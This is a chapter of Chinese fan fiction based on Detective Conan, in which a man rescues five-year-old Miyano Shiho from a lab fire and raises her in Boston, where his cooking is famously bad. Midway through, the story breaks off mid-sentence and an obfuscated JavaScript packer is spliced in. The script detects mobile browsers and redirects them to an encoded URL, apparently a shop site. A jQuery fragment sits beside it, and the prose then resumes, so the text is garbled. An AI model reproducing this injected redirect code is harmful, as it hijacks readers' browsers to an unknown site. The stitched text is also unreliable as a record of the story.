28.028
作品:《旮旯给木不是这样的啊!》 宫野志保是被烟呛醒的。
不是普通的烟——刺鼻,辛辣,带着化学试剂燃烧时特有的焦臭味。她睁开眼睛,看见门缝底下钻进来的灰白色烟雾,像无数条细小的蛇蜿蜒着爬进房间。
房间里很暗,是凌晨浓稠的黑暗。她躺在床上没动,听见外面有人在喊什么,脚步声杂乱地踩过走廊,踩得天花板都在轻轻震颤。
然后她听见了爆炸声。
不是很大,闷闷的一声,像什么东西塌了下去。她坐起来,赤脚踩在地板上,木质地板传来的凉意从脚底蹿上来,一直蹿到后脊梁。她走到门边,握住门把手——
烫的。
她把手缩回来,攥着那只手站在那儿,盯着那扇门。又一阵脚步声跑过去,有人在喊“起火了”,有人在喊“实验室”,她听见这些话,站在那里没动。
走廊里的喊叫声越来越远,好像所有人都往一个方向跑了。她听见火焰燃烧的噼啪声,听见玻璃炸裂的声音,听见什么东西正在塌陷。
她就那么站着,光着脚。
门被人从外面撞开的时候,她往后退了一步。
热浪涌进来,带着火星和灰烬。宫野志保眯起眼睛,看见一个男人站在门口,逆着光看不清脸,只看见一双红色的眼睛燃烧着,像外面的大火。
那人在门口停了不到一秒,目光扫过她全身,然后弯下腰,把她抱起来。
她闻到焦糊的味道,还有血腥味,不知道是他的还是别人的。她想挣扎,但那人抱得很紧,一只手托着她的后脑勺,把她按在肩膀上。她看不见路,只听见风声和脚步声,还有越来越远的嘈杂。
冷空气打在脸上。
宫野志保抬起头,看见暗红色的夜空映着下面燃烧的房子,那栋她住了五年的房子,父母的实验室。二楼窗口蹿出火舌,玻璃碎了,一块一块往下掉,砸在地上发出清脆的碎裂声。
那个男人把她放进一辆车里,关上车门。
宫野志保趴在车窗上往外看,看见他站在车外面,背对着她,望着那片火光。他站得很直,但不知道为什么,她觉得那个背影看起来很难过——像是在看什么再也回不去的地方。
车门打开,他坐了进来,对司机说:“走。”
车子启动的时候,她回过头,一直看着那片越来越小的火光,直到它消失在道路尽头。她没哭,只是把脸贴在冰凉的玻璃上,看着黑暗从四面八方涌过来。
那年宫野志保五岁。
那个男人叫森川海。
这是她后来才知道的。在飞机上,他递给她一杯水,然后从口袋里掏出一张卡片,上面印着这个名字,还有一行英文。他递卡片过来的手很稳,指节分明,指甲修剪得很整齐,不像一个刚从火场里出来的人。
“以后我照顾你。”森川海说。
宫野志保看着他。这时候她才发现森川海的眼睛其实是很浅的红,像是玻璃珠泡在水里,或者某种矿石在光下透出的颜色。他说话的声音很轻,语速很慢,每个字都像是想好了才说出来。
她没说话,接过那杯水,小口小口地喝。
飞机飞了很久。她睡了一觉,醒来的时候发现身上盖着他的外套。他坐在旁边,看着窗外,不知道在想什么。云层外面是黑的,什么也看不见,但他就那么看着,好像能看见什么她看不见的东西。
“我姐姐呢?”宫野志保问。
他转过头来看她。那双红眼睛看着她,过了一会儿才说:“她在日本。”
“我要回去。”
“不行。”
她盯着他。他也在看她,目光很平静,没什么表情,但也不凶。宫野志保那时候还小,不知道怎么形容那种眼神——不像是在看一个陌生的小孩,也不像在看一个需要完成的任务。
“你爸妈死了。”森川海说。
她没吭声。
“组织派我来照顾你。我们要去美国,你住我那儿。”
宫野志保低下头,蜷缩在座椅里,把自己缩得很小。他没再说话。过了一会儿,她感觉他把外套又往上拉了拉,盖住她露在外面的肩膀。
波士顿的公寓在四楼,两室一厅,窗户外面能看见一条河。
森川海把她的行李放在小房间的门口,说:“你住这间。”然后他就进了另一间,关上门,一直到晚上才出来。
宫野志保坐在自己房间的地板上,看着那个行李箱。箱子是她自己收拾的,在火烧起来之前的那天下午。她装了几件衣服,一本图画书,一支铅笔。她本来以为是要去看妈妈。
可是妈妈没有来。
……
森川海做饭很难吃,非常难吃。
她被接回家的第一天,森川可能想尽量体贴些,没和她接触,站在门口把盘子放在地板上,然后退出去带上门。
宫野志保低头看盘子。
是一块肉,还有一堆绿色的东西。肉是焦的,边上全是黑色。绿色的东西软塌塌地堆在一起,她凑近了闻,没闻出是什么。
对一个五岁的孩子来说,现在确实是饿的时候。但宫野志保用叉子戳了戳那块肉,硬的,叉子戳不进去,敲一敲能听见响声。她换了个角度,使劲戳,终于戳下一小块,放进嘴里。
嚼不动。
她嚼了很久,嚼到腮帮子发酸,硬吞下去。那堆绿色的东西她尝了一口,咸得发苦,苦得舌头都麻了,她赶紧吐了出来。
她坐在那里看着盘子,肚子还在叫。
这应该是食物吧?宫野志保犹豫了一会儿。如果这个人想毒死她,应该不至于带到美国才动手。
后来她饿得受不了,又戳了几块肉,每块都嚼了很久,喝了很多水,才勉强把那块肉吃完。绿色的东西她没再碰。她把盘子端出去,放在厨房的台子上。森川海坐在客厅的沙发里,在看一本书。他抬起头看了她一眼,又低下头继续看。
她站在那里,等了一会儿。
森川海没说话。
第二天早上盘子不见了,中午她又看见两个盘子放在厨房台子上,和昨天一模一样:一块焦黑的肉,一堆不知道是什么的绿色东西。
宫野志保站在台子前面看了很久。
一定要吃吗?
森川海从房间里出来,看见她站在那里,脚步顿了一下。然后他走过来,把两个盘子端起来,放到餐桌上,又拿了两个勺子,摆好。
“吃饭。”他说。
宫野志保坐到餐桌前,看着森川海把那块肉切开,叉起一块放进嘴里,嚼了嚼,咽下去。脸上什么表情都没有,好像吃的是很正常的东西。
就算真的打算毒死她,这种牺牲也太大了。
宫野志保低下头,开始吃这勉强能称为饭的东西。还是嚼不动,还是咸得发苦。她忍着,努力一口一口往下咽。吃到一半的时候宫野志保她抬头看了森川海一眼,发现他也在看她。
那双红眼睛看着她,很安静,没什么特别的表示,但就是一直看着。不是监视,也不是打量,就只是……看着。
宫野志保把视线移开,继续吃。
那天下午她拉肚子了。
一个星期之后,宫野志保确定了两件事。
第一,森川海做的饭,不管是什么都很难吃。他做过肉,做过鱼,做过米饭,做过汤。肉永远是焦的,鱼永远是腥的,米饭永远是夹生的,汤永远是没法喝的。她不知道他是怎么做到的,明明每次都是不同的东西,最后端上来的却都是一样的难吃。
食材知道自己被做成这种东西应该也会难过的。
第二,森川海好像完全不觉得自己做的饭难吃。
每天三餐,他会准时把盘子端出来摆在餐桌上,然后坐在对面,安静地吃完自己那份。
宫野志保试过问他:“你尝不出来吗?”
森川海抬起头看她:“尝不出什么?”
“这个——”她指着盘子里的东西,那块肉今天格外黑,黑得像炭,“很难吃。”
森川海低头看了看盘子。宫野志保从这个动作里看出了一丝挫败——很淡,几乎看不出来,但她就是感觉到了。然后森川海说:“还行。”
她不知道他说的“还行”是什么意思。是真的觉得还行还是无所谓,还是故意这么说。她那时候太小,看不出他的表情——森川海脸上总是没什么表情,只有那双眼睛,偶尔看她的时候会让她觉得怪怪的。
那种眼神很难形容,不是她见过的那些大人看小孩的样子,像是在看什么很远的东西,透过她在看别的什么。
有一次宫野志保睡不着,半夜起来探索这个地方,经过森川海房间门口时,看见门缝底下有光。她凑过去听,听见里面有人在说话,声音很轻,听不清说的是什么。偶尔停一下,然后又继续说,像是在打电话,又像是在自言自语。
她在门口站了一会儿,光着脚,地板很凉。
后来她回去了,钻进被窝里想着那个声音,森川海的声音和白天不太一样,更轻,更慢,像是在说什么很重要的事。
她不知道他在说什么,也不知道他在跟谁说。
宫野志保以为这种日子会一直持续下去。
每天吃难吃的饭,每天看着他坐在对面安静地吃完,每天被他用那种奇怪的眼神看几眼。她开始习惯那种眼神,开始习惯难吃的饭,习惯这个不爱说话的人。
结果有一天晚上,她肚子疼醒了。
疼得很厉害,像是有什么东西在肚子里绞,绞得她整个人都蜷起来。她蜷在床上,咬着被子,不敢出声。疼了好一会儿,稍微好了一点,她爬起来去厕所。
经过客厅的时候,她看见沙发上坐着一个人。
是森川海。
他没开灯,就那么在黑暗里坐着,不知道坐了多久。她站在走廊口,看着他的背影。他的肩膀微微弓着,头低着,像是在看地板,又像是什么也没看。月光从窗户照进来,在地上投下一块长方形的光,他就坐在那块光的边缘。
她站在那里没动。
过了一会儿,他动了动,转过头来。
黑暗中她看不清他的脸,只看见那双眼睛。红色的,在黑暗里像是会发光似的,比起人类更像某种动物,多少有点让人害怕。
“不舒服?”森川海问。
她点点头。
森川海走过来。走近了,她看见他的脸,和白天一样,没什么表情,但他伸出手放在她额头上,手心很凉,凉得她打了个哆嗦。
“怎么发烧了。”
然后森川海把她抱起来,和那天晚上一样,一只手托着她的后脑勺,把她按在肩膀上。她靠在他肩上,闻到他身上有股很淡的味道,像是肥皂,又像是别的什么,让她想到实验室的消毒水。
他抱着她出了门。
后来她才知道,那天晚上她得了急性肠胃炎。医生说是食物中毒,让森川海看好孩子别乱吃东西。森川海说她只吃了自己做的饭,医生让他别给孩子下毒。
宫野志保在医院里躺了两天,森川海也陪着待了两天,就坐在病床旁边的椅子上,不怎么说话,也不怎么动。偶尔她会睁开眼睛,看见他还坐在那儿,姿势都没变过。
第二天姐姐打电话来了。
森川海把电话拿到她床边,她听见姐姐的声音,突然就哭了。这是从那天晚上之后她第一次哭。她也不知道为什么哭,就是听见姐姐的声音,眼泪就下来了。
姐姐在电话那头也哭了,一边哭一边问她好不好。她说好,说自己还在上学,说一切平安。
她没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217437|197044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说森川海做的饭有多难吃。
挂了电话,她躺回床上看着天花板。森川海还坐在那把椅子上,看着她。她转过头,和他的视线对上。
“你和你姐姐关系很好?”他问。
听见这话,宫野志保眼中出现警惕,但森川海没说什么。
“以后有空我可以带你去看她。”
晚上,她睁着眼睛看着窗外的月光。森川海坐在椅子上,好像睡着了。宫野志保看着他的侧脸,月光照在上面,线条很柔和,他睡着的时候,眉头是皱着的,好像在做梦,梦见什么不太好的事。
她突然想知道这个人到底是谁。
从医院回来之后,宫野志保做了个决定。
“以后我来做饭。”她站在厨房门口,重复了一遍,“我来做饭。你做的饭太难吃了,我不想再进医院。”
森川海沉默了一会儿,好像终于接受了这个事实,失落地走开了。第一次,宫野志保终于吃了顿能入口的饭。
也是第一次,她觉得森川海好像没有那么可怕。
从那以后,做饭就成了宫野志保的事。
她开始学着做不同的东西。有时候做得好,有时候做得不好。做得不好的时候,森川海也会吃完,一点不剩。
她问他:“不好吃你怎么也吃完了?”
森川海说:“能吃。”
她不知道他说的“能吃”是什么意思。但后来她慢慢发现,他是真的觉得什么都“能吃”。宫野志保做过一次红烧肉,糖放多了,甜得发腻,她自己都吃不下去。他照样吃完,照样说“能吃”。
她想,这个人可能真的尝不出好坏。
但除了做饭,森川海好像什么都会。
不是学校教的那些,对天才来说这些知识太慢了,慢的跟不上他们的脚步。宫野志保早就不需要上学了,只是森川海还在坚持,坚持说她需要和人交流。
而其他的东西,就由森川海教过她。
后来她才知道,森川大学读的是物理,研究生读的是生物化学。她不知道这样的人为什么会加入组织,她没问过,他也不说。
有时候晚上,宫野志保起来喝水,经过森川海房间,会看见他坐在书桌前,台灯开着,对着电脑屏幕。屏幕上全是密密麻麻的字和数据,她瞄一眼就不想再看。他看得很认真,偶尔打几个字,偶尔翻一翻手边的书。那本书很厚,封面上全是英文。
她不知道他在做什么工作,他从来不提,她也不问。
有时候森川海会消失一整天。早上还在,中午回来的时候就不见了,晚上也不回来吃饭。第二天又出现了,脸上看不出什么变化,但她总觉得哪里不太一样——也许是走路的声音轻了一点,也许是看她的时间久了一点。
有一次她问森川海:“你去哪儿了?”
森川海看着她,过了一会儿说:“工作。”
宫野志保没再问。
时间久了,宫野志保开始注意到一些事。
比如森川海看自己的时候,像是要确认什么。比如他从来不碰她,带她出门走在路上,会和她保持一点距离,不会牵她的手,也不会揽她的肩膀。但她需要什么时他总是在旁边,过马路的时候,他会走在她外侧;下雨的时候,他会把伞往她那边倾。
比如他记得她所有的事。
宫野志保问:“你对我这么好,是因为组织让你照顾我吗?”
他看着她,沉默了很久,久到宫野志保以为他不会回答了。窗外的天色已经暗下来,厨房里传来炖汤的声音,咕嘟咕嘟的。
“不全是。”森川海说,“其实你是我抢来的。”
宫野志保等着他往下说,但他没再说。那天晚上她躺在床上,一直在想他那句话。不全是。那就是有一部分是。可为什么是抢来的?宫野志保想不明白。
……她长得也没有很像她妈妈吧?
总不能是爸爸?
“我没在吃代餐。”森川海试图解释,“这不是正餐吗——这里是无cp频道我谈不到恋爱的。”
宫野志保:“……”
这个人还爱说一些很奇怪的话。
她总觉得森川海看自己的眼神很奇怪,像是在看什么很重要的人,又像是在看什么很遥远的东西。
那天晚上她睡不着,起来喝水。经过森川海房间时,他的门没关严,露出一条缝,里面有光还有声音。宫野志保本来想直接走过去,但听见他在说话,脚步就停了一下。
“……我知道。”他在说,声音很轻,“我有分寸,琴酒。”
她站在那里没动。
“不会的。”他又说,“我会照顾好她。”
沉默了一会儿。
“不是那个意思。我只是……”
又沉默了。
她站在门外,听着那些断断续续的话。不知道他在跟谁说话,也不知道前面说了什么。但有一句话她听清了。
“她不知道。别告诉她。”
然后里面没声音了。
她站在那里,站了很久。走廊里很暗,只有从门缝里透出来的那一线光,落在她光着的脚上。她低头看着那道光,看着自己脚趾上沾的灰尘。
后来她回到自己房间,躺回床上,看着天花板。
她不知道什么?别告诉她什么?
她想起他看她的眼神,想起他每次多停的那一两秒,想起他说“不全是”的时候那个表情。想起他站在车外望着火光的背影,那个看起来很难过的背影。
她想起父母实验室的那场大火。
那天晚上,他把她从火场里抱出来,站在车外面望着那片火光。她趴在车窗上看见他的背影,觉得那个背影看起来很难过。
那时候她不知道为什么。

